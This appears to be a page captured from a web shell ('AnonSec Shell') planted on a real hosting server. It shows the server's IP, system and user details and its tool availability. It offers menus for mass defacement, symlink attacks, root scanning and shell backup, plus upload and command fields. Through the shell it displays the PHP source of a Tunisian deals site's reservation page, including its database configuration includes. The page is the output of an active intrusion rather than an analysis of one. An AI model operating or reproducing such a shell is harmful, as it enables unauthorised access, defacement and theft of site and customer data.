. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : dealkatnwc ( 662330)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dealkatnwc/www/wp-custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/dealkatnwc/www/wp-custom/mesreservation.php
<style>header.entry-header{display: none;}</style>
<style>.asteriskField{color: red;} .input-group{margin: 5px;} .input-group-addon{width: 44%;text-align: left;} </style>

<?php

if (!( is_user_logged_in() ))  {echo "<script>document.location.href='".get_bloginfo('url')."/404.php/?erreur=2';</script>";}

require_once './GDEAL/pages/config.php';
require_once './GDEAL/pages/class/coupon.class.php';
$db = new PDO('mysql:host='.$host.';dbname='.$dbname.'', $user, $passwd);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);


global $current_user;
get_currentuserinfo();
$managerCou = new CouponManager($db);

if ((isset($_GET['id']))&&(isset($_GET['action'])))
{
echo "<center><i class='fa fa-spinner fa-spin fa-5x'></i></center>";
	
    if ($_GET['action'] == 'Supprimer')
    {
	 if ($managerCou->verif_client((int) $_GET['id'],$current_user->user_email))
	 {
	$managerCou->delete((int) $_GET['id']);
	$_SESSION['dealka']['temp']='delete_reservation';
	echo "<script>document.location.href='".get_bloginfo('url')."/mes-reservation/';</script>";die;
	 }
	}
}




// var_dump ($listeCou);

?>

<?php
// var_dump($_SESSION['dealka']);
if(isset($_SESSION['dealka']['temp']))
{if($_SESSION['dealka']['temp']=='delete_reservation')
	{
		echo "<div class='alert alert-danger' role='alert' style='width: 99%;'><i class='fa fa-exclamation-circle'></i>  Réservation annulée.</div>";
		unset($_SESSION['dealka']['temp']);		
	}
	
}	
?>

<div class="panel-group" id="accordion" role="tablist" aria-multiselectable="true">
  <div class="panel panel-default">
    <div class="panel-heading accordion_a" role="tab" id="headingOne">
      <h4 class="panel-title">
        <a role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne">
          <i class="fa fa-database"></i>&nbsp;Mes Réservations
        </a>
      </h4>
    </div>
    <div id="collapseOne" class="panel-collapse collapse in" role="tabpanel" aria-labelledby="headingOne">
      <div class="panel-body">
			<?php
			// echo "<h1>Mes Réservations</h1>";
			$_SESSION['GDEAL']['filtre']['etat'] = array (1);  
			$listeCou = $managerCou->getListTab('client',$current_user->user_email);

			if (count ($listeCou)==0){ ?>
			<div class="alert alert-info" role="alert" style="width: 99%;margin-top: 40px;margin-bottom: 60px;"><i class="fa fa-exclamation-circle"></i>  Vous n'avez pas encore profité de nos offres.</div>
			<?php 
			}else {
			?>
			<div class="table-responsive">
			<table class="table table-bordered table-striped ">
				<thead>
					<tr>
						<th width='20%'>N° Commande</th>
						<th>Nom Du Deal</th>
						<th>Prix</th>
						<th>Quantite</th>
						<th width='20%'>Date</th> 
						<th>Annuler</th>
					</tr>
				</thead>
				
				<tbody>
				
					<?php
					foreach ($listeCou as $cou)
					{
					echo "<tr><td>".$cou['code_cmd']."</td>
					<td><a href='".get_bloginfo('url')."/?p=".$cou['deal_id']."' target='_blanc'>".$cou['titre']."</a></td>
					<td><b>".$cou['prix']."</b><sup>DT</sup></td>
					<td><center>".$cou['quantite']."</center></td>
					<td><details><summary>".date("d-m-Y", $cou['date_coupon'])."</summary>
					<p>".date("\à H:i:s", $cou['date_coupon'])."</p>
					</details></td>
					<td>
					<a href='?id=".$cou['id']."&action=Supprimer' title='Annuler la réservation' alt='Annuler la réservation' onClick=\" return confirm('Voulez vous vraiment annuler la réservation ?'); \"  class='btn btn-danger btn-xs'><i class='fa fa-times'></i>  Annuler</a>
					</td>"; 
					echo "</tr>";
					}
					
					?>
				</tbody>
				
			</table>
			</div>	
			<?php } ?>
      </div>
    </div>
  </div>
  <div class="panel panel-default">
    <div class="panel-heading accordion_a" role="tab" id="headingTwo">
      <h4 class="panel-title">
        <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseTwo" aria-expanded="false" aria-controls="collapseTwo">
          <i class="fa fa-truck"></i>&nbsp;Paiement à la livraison
        </a>
      </h4>
    </div>
    <div id="collapseTwo" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingTwo">
      <div class="panel-body">
			<?php
			// echo "<h1>Paiement à la livraison</h1>";
			$_SESSION['GDEAL']['filtre']['etat'] = array (7);  
			$listeCou = $managerCou->getListTab('client',$current_user->user_email);

			if (count ($listeCou)==0){ ?>
			<div class="alert alert-info" role="alert" style="width: 99%;margin-top: 40px;margin-bottom: 60px;"><i class="fa fa-exclamation-circle"></i>  Vous n'avez pas encore demandé le paiement à la livraison.</div>
			<?php 
			}else { ?>
			<div class="table-responsive">
			<table class="table table-bordered table-striped">
				<thead>
					<tr>
						<th width='20%'>N° Commande</th>
						<th>Nom Du Deal</th>
						<th>Prix</th>
						<th>Quantite</th>
						<th width='20%'>Date</th> 
						<th>Annuler</th>
					</tr>
				</thead>
				
				<tbody>
				
					<?php
					foreach ($listeCou as $cou)
					{
					echo "<tr><td>".$cou['code_cmd']."</td>
					<td><a href='".get_bloginfo('url')."/?p=".$cou['deal_id']."' target='_blanc'>".$cou['titre']."</a></td>
					<td><b>".$cou['prix']."</b><sup>DT</sup></td>
					<td><center>".$cou['quantite']."</center></td>
					<td><details><summary>".date("d-m-Y", $cou['date_coupon'])."</summary>
					<p>".date("\à H:i:s", $cou['date_coupon'])."</p>
					</details></td>
					<td>
					<a href='?id=".$cou['id']."&action=Supprimer' title='Annuler la livraison du coupon' alt='Annuler la réservation' onClick=\" return confirm('Voulez vous vraiment annuler la livraison du coupon ?'); \"  class='btn btn-danger btn-xs'><i class='fa fa-times'></i>  Annuler</a>
					</td>"; 
					echo "</tr>";
					}
					
					?>
				</tbody>
				
			</table>
			</div>
			<?php } ?>
      </div>
    </div>
  </div>
  <div class="panel panel-default">
    <div class="panel-heading accordion_a" role="tab" id="headingThree">
      <h4 class="panel-title">
        <a class="collapsed"  role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseThree" aria-expanded="false" aria-controls="collapseThree">
          <i class="fa fa-clock-o"></i>&nbsp;Paiement Par Mandat Minute
        </a>
      </h4>
    </div>
    <div id="collapseThree" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingThree">
      <div class="panel-body">
		<?php
		// echo "<h1>Paiement Par Mandat Minute</h1>";
		$_SESSION['GDEAL']['filtre']['etat'] = array (8);  
		$listeCou = $managerCou->getListTab('client',$current_user->user_email);

		if (count ($listeCou)==0){ ?>
		<div class="alert alert-info" role="alert" style="width: 99%;margin-top: 40px;margin-bottom: 60px;"><i class="fa fa-exclamation-circle"></i>  Vous n'avez pas encore demandé le paiement par mandat minute.</div>
		<?php 
		}else {	 ?>
		<div class="table-responsive">
		<table class="table table-bordered table-striped">
			<thead>
				<tr>
					<th width='20%'>N° Commande</th>
					<th>Nom Du Deal</th>
					<th>Prix</th>
					<th>Quantite</th>
					<th width='20%'>Date</th> 
					<th>Annuler</th>
				</tr>
			</thead>
			
			<tbody>
			
				<?php
				foreach ($listeCou as $cou)
				{
				echo "<tr><td>".$cou['code_cmd']."</td>
				<td><a href='".get_bloginfo('url')."/?p=".$cou['deal_id']."' target='_blanc'>".$cou['titre']."</a></td>
				<td><b>".$cou['prix']."</b><sup>DT</sup></td>
				<td><center>".$cou['quantite']."</center></td>
				<td><details><summary>".date("d-m-Y", $cou['date_coupon'])."</summary>
				<p>".date("\à H:i:s", $cou['date_coupon'])."</p>
				</details></td>
				<td>
				<a href='?id=".$cou['id']."&action=Supprimer' title='Annuler la réservation' alt='Annuler la réservation' onClick=\" return confirm('Voulez vous vraiment annuler la réservation ?'); \"  class='btn btn-danger btn-xs'><i class='fa fa-times'></i>  Annuler</a>
				</td>"; 
				echo "</tr>";
				}
				
				?>
			</tbody>
			
		</table>
		</div>

		<div class="alert alert-info" role="alert">
		<p><b>Comment payer la Mandat Minute ?</b></p>
		<p>Vous devez vous rendre dans un bureau de poste Tunisienne, payer la mandat minute.</p>
		<p>Enfin, Merci de nous  transmettre <b> Le code secret</b> du mandat ainsi que votre <b>N°de Commande</b> Par : </p>
		<ul>
		<li>&nbsp;<i class="fa fa-mobile" aria-hidden="true"></i>&nbsp;SMS : 96 46 56 66</li>
		<li>&nbsp;<i class="fa fa-envelope-o" aria-hidden="true"></i>&nbsp;Mail : sav@dealka.tn</li>
		<li>&nbsp;<i class="fa fa-facebook-official" aria-hidden="true"></i>&nbsp;Facebook : <a target="_blanc" href="https://www.facebook.com/dealka.tn/">Notre page</a></li>
		<li>&nbsp;<i class="fa fa-headphones" aria-hidden="true"></i>&nbsp;Facebook : <a target="_blanc" href="https://www.facebook.com/profile.php?id=100012928089899">Conseillère Dealka</a></li>
		</ul>
		<p>Pour plus d'information, contactez 96 46 56 66 / 79 218 968.</p>
		</div>
		<?php } ?>

      </div>
    </div>
  </div>
</div>

















  

Anon7 - 2022
AnonSec Team